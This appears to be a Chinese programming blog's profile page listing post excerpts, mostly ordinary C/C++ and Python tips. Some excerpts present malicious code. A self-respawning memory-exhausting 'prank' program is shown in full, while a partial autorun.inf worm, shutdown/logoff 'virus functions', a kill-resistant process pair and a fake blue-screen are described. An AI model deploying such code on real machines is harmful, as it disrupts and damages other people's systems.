- 博客(47)
- 资源 (7)
- 问答 (4)
- 收藏
- 关注
原创 Python PocketSphinx报错 TypeError: ‘_NamespacePath‘ object does not support indexing 解决方法
根据你提供的代码和错误信息,看起来问题可能出在 importlib.util.find_spec(“pocketsphinx.model”).submodule_search_locations[0] 这一行。为了解决这个问题,可以尝试修改代码,以适应 submodule_search_locations 的返回类型。表明 _NamespacePath 对象不支持索引操作,这意味着它被当做一个列表或元组来使用,但它不支持这种操作。会包含模块的路径,但它并不是一个标准的列表或元组,因此无法通过索引来访问。
2024-03-18 12:20:47 352
原创 C++20形式的utf-8字符串转宽字符串,不依赖编译器编码形式
默认的char[]编码都是要看编译器编译选项的,你选了ANSI那它就是ANSI,你选了UTF8那它就是UTF8.这一点对我的代码造成了麻烦。我就是要用utf8字符串,无视编译器编码选项,并输出,怎么搞?上述代码字符以char类型存储,编码依赖编译器选项。如果为ANSI,则结果为:如果为UTF-8,才是正确的结果:· 试想,把含类似于这样一段代码的项目(例如一个软件或是一个游戏)代码发给你一个朋友,他一看运行出来是乱码,他第一反应就是你写的有问题,是你的问题。他基本不会考虑自己的编码选项有问题。
2023-12-20 21:45:51 1330
原创 C语言获取win11新版终端WindowsTerminal窗口句柄
尝试使用 FindWindow 可能不会成功是因为该函数是基于窗口类名或窗口标题来查找窗口的,而 Windows Terminal 可能没有传统的类名或标题。在 Windows 11 中,Windows Terminal 可能使用了不同的机制来管理其窗口句柄,可能会导致传统的方法无法准确地获取到正确的窗口句柄。记住,由于 Windows Terminal 可能采用了新的技术和 API,因此获取其窗口句柄可能需要更多针对性的方法,并且需要根据具体情况进行调整。抓类名,用第三方工具获得新终端类名,我这里是。
2023-11-22 15:06:31 469 1
原创 C++ cannot determine #include translation of...: malformed string ‘ERROR‘ unrecognized...
原因猜测:开启模块后,编译器对双引号的include是否要弄成模块而感到十分困惑;字符串非良构啥的,瞎猜的。反正就是有这么一个坑。当时人就傻了,想想,最近有什么改动,想起来了,好像写过一个测试新版cpp不定参数的程序,打开编译选项,发现。我去百度搜,啥也没有。Stackoverflow也么有。打开好几天没有动过的项目,编译,突然报错了!改成绝对路径,提示找不到。报错,用尖括号的不报错。今天遇到一个神奇的问题。一脸懵,而且只有这几个。我开的是支持导入模块的。选项删除,问题解决。
2023-10-20 14:10:25 149
原创 那些编程中遇到的常见英文缩写
①= ASCII = American Standard Code for Information Interchange 美国信息交换标准代码 ②=ascend(ing) 升高(的);①=change directory 改变目录 ②=clear data 清空数据 ③=code 代码。①=float (单精度)浮点数 ②十六进制的15 ③=flag 标志 ④=function 函数。①=height 高度 ②=hour 小时 ③= horizontal 横向的。①= right 右;...
2022-08-15 14:29:08 14430 2
原创 ★「C++游戏」幻影之战 BattleOfPhantom:一款集合多种人机对战以及联机对战的战斗游戏
★ 一款非常有趣的乱斗游戏!C++与EGE图形库编写,画面简约别致玩法多样,其乐无穷!
2022-08-03 14:36:49 1599 3
原创 千万注意!使用GetAsyncKeyState检测窗口按键时要检查是否为前端窗口!
你是否用GetAsyncKeyState检测玩家的按键?你是否忘记检查游戏窗口是否为前端窗口?这可能造成巨大的安全问题!
2022-07-28 15:03:18 2600 7
原创 C++游戏基础: 根据坐标判断方向
很简单,已知相对坐标,判断是哪个方向,比如说使用鼠标进行远程攻击。首先先规定方向类型://方向typedef BYTE DIR, DIR4, DIR8, *PDIR4, *PDIR8; #define DIR_UP 0#define DIR_RIGHT 1#define DIR_DOWN 2#define DIR_LEFT 3#define DIR_RIGHTUP 4#define DIR_RIGHTDOWN 5#define DIR_LEFTDOWN 6#define DI
2021-11-07 14:05:39 2385
原创 C++ 新/冷用法集锦 (一)
C++其实有许多的新奇或者冷用法,经过本人整理,给大家普及一下1.位域结构体结构体里的成员竟然有个冒号,例如下面的节选代码:struct BitField { unsigned int a:4; //占用4个二进制位; unsigned int :0; //空位域,自动置0; unsigned int b:4; //占用4个二进制位,从下一个存储单元开始存放; unsigned int c:4; //占用4个二进制位; uns
2021-08-27 22:45:34 380 1
原创 C++蠕虫病毒免疫器 (antiAutoRun)
使用方法:输入 一 个 想要免疫的磁盘盘符,如C:\ D:\ E:\ 填完整!回车原理:创建一个无法删除的文件夹(运用Windows文件系统的特性)(控制台版)源码
2021-07-17 22:32:04 559 4
原创 C++蠕虫示例
最典型的一个autorun.inf 蠕虫,没有任何破坏性;严禁非法用途,而且 大多数杀软发现了就杀。/* 蠕虫 示例 * Written by noexcept * (Reference From Book) */ #include <windows.h>char szAutoRun[] = "[AutoRun] \n" "open=notepad.exe\n" "shell\\open=打开(&O)\n" "shell\\open\\command
2021-07-07 22:32:55 712 2
原创 程序与控制台的关系
语言:C/C++本文有许多个人观点,仅供参考基本定义所谓的控制台就是DOS窗口(命令行窗口),那个黑框框.“所谓的控制台应用程序,就是能够运行在MS-DOS环境中的程序。控制台应用程序通常没有可视化的界面,只是通过字符串来显示或者监控程序。控制台程序常常被应用在测试、监控等用途,用户往往只关心数据,不在乎界面。” ——来自百度百科conhost.execonhost, Console Host Process, 即命令行程序的宿主进程。就是它控制控制台的。最基础的
2020-12-05 13:51:18 668
原创 「C++游戏」双人大乱斗
→双人游戏,每人开局随机武器进行战斗。武器:匕首,铁剑,手枪,冲锋枪,狙击枪,长戟,吸血之刃,菜刀,炸弹,火焰之鹰,冰霜之鹰,十字架,旋刀→场内随机生成道具,有相应的加成道具:回血,无敌,力量,冰冻,十字激光,生命提升→操作说明玩家1操作1.AWSD上下左右移动2.J普通攻击,K技能攻击(有一点点加成)3.H使用道具。............
2020-09-20 11:48:50 1692 1
原创 C++基础病毒性函数汇总
总结了 几 个 比较常见的病毒函数。温馨而又冰冷的提示: 严禁用于非法用途哦!!!!前方高能,请做好心理准备。<必备头文件:Windows.h>1.电源类这几个也没啥技术含量,但反复调用的杀伤力还是挺强的(开机瞬关)。(1)注销VOID Logoff(VOID){ WinExec("logoff.exe",SW_HIDE);}(2)关机VOID Shutdo.........
2020-03-24 10:19:16 3615 16
原创 用C++写数学(二):不等式
所谓不等式,就是用不等号(<,>,≥,≤,≠)连接的式子(来自百度)因为 ≠ 不(懒)太(得)常(去)用(做)。这里实现了支持以下形态不等式的一个类。x > 1x < 5x ≥ 0x ≤ 100 < x ≤ 10差不多就这样,不会出现 0 < x 、 0 > x之类的情况。源码:....
2020-03-20 19:17:40 4373
原创 C语言实现防杀进程
程序原理很简单:弄俩进程,互相检测对方有没有被杀,被杀就再调一个,实现防杀效果。原来我用了两个程序,但比较麻烦,就合并了,但是没有实现就自己运行的效果,只能自我复制一份。可以把文件名改一下,但是要全部都改掉,包括最后的...
2020-03-19 09:37:27 1006 3
原创 C++实现控制台迷宫小游戏
前言这个程序是我一年前写的,那是还不是很成熟,导致C、C++混在一起,警告一大堆。。不过这个程序是我第一个成功做成的游戏。虽然关卡只做了3关,但是这个游戏代码框架值得参考。我大部分的程序都包含了我自己做的头文件,因此弄这儿来的时候必须替换一大堆东西,可能有些BUG。敬请谅解。原来还是有音乐的,因为没有资源的问题,把它去了,如果真想要可以到这里下载,这里的源文件是真正的源文件,没有替换过的.........
2020-03-12 10:27:58 2461 5
原创 用C++写数学(一): 基本函数
用C++写数学很有用,写几个函数和类,可以很快解决数学问题。今天带来几个普通的函数:1.判断float是否为整数float为浮点型,但也可以是整数(如3.0),为判断是否为整数,这个函数可能会有一点用处:bool is_float(float a){ return (a - int(a) != 0);}很简单,拿它去减它的整数部分不为0就是小数。及bool is_int...
2020-03-05 10:33:18 904
原创 C语言三个整蛊程序,很强!!
以下程序严禁在非虚拟机上使用!!1.MemoryFiller (内存填充者) 加强版#include <Windows.h>int main(int argc,char *argv[]){ ShellExecute(0,"open",argv[0],"","",SW_SHOW);//异步运行自己 while(true) //死循丧心病狂 malloc(1024); /...
2020-02-26 14:12:53 1743 7
原创 C语言让程序自己获得管理员权限
网上很多关于ShellExecuteEx获取管理员权限的,一搜就是,但这是调用其他程序,那么怎样让自己获得呢?很简单,调用自己不就得了ヽ( ̄▽ ̄)ノ程序格式:int cmain(int argc,char *argv[]){...
2020-02-26 11:47:28 6290 13
原创 HTML应用程序让电脑伪蓝屏
这个不是真正的蓝屏,只是用来吓吓人的:打开记事本,输入:<HTML><HEAD><TITLE>BlueScreen</TITLE><HTA:APPLICATION APPLICATIONNAME="BlueScreen"SCROLL="no"windowstate="maximize"border="none"SINGLEIN...
2020-02-26 10:04:59 1722
原创 Dev C++解决#pragma comment无效的问题
函数有三种书写的方式:定义、实现和调用。定义 指告诉编译器这个函数存在,就像函数原型那样,例如:int __cdecl strcmp(const char *_Str1,const char *_Str2);实现 指直接写函数的内容,是我们用的最多的方式:void mengbi(void){ mengbi(); //"递归懵逼"}很好理解。调用 谁都知道,就是用它的时候。...
2020-02-23 19:35:57 4405 4
原创 C语言MessageBox简介
这个函数很实用,来自Windows.h.它会产生一个对话框。原型:int WINAPI MessageBoxA(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType);int WINAPI MessageBoxW(HWND hWnd,LPCWSTR lpText,LPCWSTR lpCaption,UINT uType);HWND hW...
2020-02-22 15:16:03 6844 7
原创 C++自创钉钉直播刷赞器(二)
上次的钉钉刷赞器真的很受大家欢迎,可能是因为特殊时期的原因…但此程序还是有不足!!在我朋友的强烈要求下,我添加了半途取消功能。还是上源码:#include <windows.h>#include <stdlib.h>#include <stdio.h>#include <conio.h>#include <cmath>#...
2020-02-21 19:39:30 13203 15
原创 C语言调用SAPI语音
SAPI也不是新颖的东西了,我当前仍还找不到直接调用SAPI的方法,只能借用一下vbs来过渡:示例:#include <stdlib.h>#include <stdio.h>#include <Windows.h>VOID Say(LPCSTR lpText) { FILE *fp; fp=fopen("spkTmp.vbs","w"); ...
2020-02-20 18:45:55 746
「C++像素生存游戏」暗黑体素2 DarkVoxel2
2023-08-24
「C++控制台生存游戏」暗黑体素 DarkVoxel 控制台版
2023-02-12
C++游戏:BattleOfPhantom 幻影之战
2022-08-03
[C++] 英语自动骂人程序
2021-02-23
[C++游戏] 双人大乱斗【控制台版】
2020-09-06
C语言简易漂浮弹窗生成器
2020-08-06
C++EGE版迷宫游戏
2020-03-12
钉钉刷赞器plus.rar
2020-02-24
C++自制钉钉直播刷赞器.rar
2020-02-20
C/C++ 64位断链隐藏DLL?
2023-10-10
C/C++输出用户指定的Unicode字符?
2023-07-24
C语言注册表怎么读取QWORD
2021-05-03
C语言BlockInput怎么用都无效
2020-03-24
Dev C++嵌入__asm { } 报错
2020-03-11
求一个可以在屏幕右下角弹出系统(注意,是系统)通知条条的C/C++/vbs/DOS命令。
2020-02-27
TA创建的收藏夹 TA关注的收藏夹
TA关注的人